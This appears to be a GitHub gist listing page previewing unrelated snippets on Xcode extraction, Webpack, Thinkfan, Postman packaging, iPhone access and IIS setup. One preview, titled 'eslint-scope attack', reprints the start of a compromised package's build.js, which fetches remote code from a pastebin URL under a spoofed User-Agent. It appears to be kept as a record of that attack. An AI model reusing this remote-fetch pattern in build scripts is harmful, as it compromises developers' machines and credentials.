Skip to content

Instantly share code, notes, and snippets.

View jyyan's full-sized avatar
:octocat:
I may be slow to respond.

Luke, JunYuan Yan jyyan

:octocat:
I may be slow to respond.
View GitHub Profile
@Luoyayu
Luoyayu / gist:3c5f099dd1a453f049fced1df7bc7964
Created December 12, 2019 18:48
extract Xcode.xip to a customed volume
By default, when extracts the Xcode.zip,
macos will create tmp file in `/private/var/folders/v2/tbmrn60d2910x3w23ys5fgs00000gn/T/com.apple.AUHelperService`.
Sometimes, the /private has no ehough space to hold 19GB Xcode.app.
Thus we can create a soft link named `com.apple.AUHelperService` in the tmp dir.
Steps:
1. BACKUP `com.apple.AUHelperService` in `/private/var/folders/v2/tbmrn60d2910x3w23ys5fgs00000gn/T/` to `com.apple.AUHelperService_BACKUP`
2. mkdir named `com.apple.AUHelperService` wherever you have enough space,
3. ln -s /your/absolute/path/com.apple.AUHelperService /private/var/folders/v2/tbmrn60d2910x3w23ys5fgs00000gn/T
4. double click the Xcode.xip
@stefanneculai
stefanneculai / index.html
Created November 9, 2018 13:08
Froala Editor with Webpack 4
<!doctype html>
<html>
<head>
<title>Froala with Webpack</title>
</head>
<body>
<div id="editor"></div>
@hzoo
hzoo / build.js
Created July 12, 2018 19:20
eslint-scope attack
try {
var https = require("https");
https
.get(
{
hostname: "pastebin.com",
path: "/raw/XLeVP82h",
headers: {
"User-Agent":
"Mozilla/5.0 (Windows NT 6.1; rv:52.0) Gecko/20100101 Firefox/52.0",
##
## How to install mcrypt in php7.2 / php7.3
## Linux / MacOS / OSX
##
## https://lukasmestan.com/install-mcrypt-extension-in-php7-2/
#
@Yatoom
Yatoom / setup.md
Last active June 16, 2024 01:14
Thinkfan configuration

Thinkfan setup

Note: I configured this thinkfan setup for my old Thinkpad w520 on Ubuntu 17.10.

1. Install necessary programs

Install lm-sensors and thinkfan.

sudo apt-get install lm-sensors thinkfan
在hass中用Google Home语音控制小米扫地机器人
@SanderTheDragon
SanderTheDragon / postman-deb.sh
Last active July 7, 2024 12:44
A shellscript to create a Postman .deb file, for simple installation on Debian-based Linux distro's. Also creates a .desktop file.
#!/bin/sh
# SPDX-FileCopyrightText: 2017-2024 SanderTheDragon <sanderthedragon@zoho.com>
#
# SPDX-License-Identifier: MIT
arch=$(dpkg --print-architecture)
echo "Detected architecture: $arch"
case "$arch" in
@samrocketman
samrocketman / libimobiledevice_ifuse_Ubuntu.md
Last active July 3, 2024 07:05
On Ubuntu 16.04, since iOS 10 update, libimobiledevice can't connect to my iPhone. This is my attempt to document a fix.

Why this document?

I upgraded my iPhone 5s to iOS 10 and could no longer retrieve photos from it. This was unacceptable for me so I worked at achieving retrieving my photos. This document is my story (on Ubuntu 16.04).

The solution is to compile libimobiledevice and ifuse from source.

Audience

Who is this guide intended for?

@brianly
brianly / install-iis.ps1
Created March 20, 2016 21:15
PowerShell to install more IIS features than normally required. Pare this down for a production environment.
Install-WindowsFeature Web-Server
Install-WindowsFeature Web-Default-Doc
Install-WindowsFeature Web-Dir-Browsing
Install-WindowsFeature Web-Http-Errors
Install-WindowsFeature Web-Static-Content
Install-WindowsFeature Web-Http-Redirect
Install-WindowsFeature Web-Http-Logging
Install-WindowsFeature Web-Custom-Logging
Install-WindowsFeature Web-Log-Libraries
Install-WindowsFeature Web-Request-Monitor
@DinoChiesa
DinoChiesa / httpsig-in-postman-pre-request-script.js
Created January 26, 2016 23:18
pre-request script for Postman, to perform HttpSignature calculation. Also SHA-256 message digest.
function computeHttpSignature(config, headerHash) {
var template = 'keyId="${keyId}",algorithm="${algorithm}",headers="${headers}",signature="${signature}"',
sig = template;
// compute sig here
var signingBase = '';
config.headers.forEach(function(h){
if (signingBase !== '') { signingBase += '\n'; }
signingBase += h.toLowerCase() + ": " + headerHash[h];
});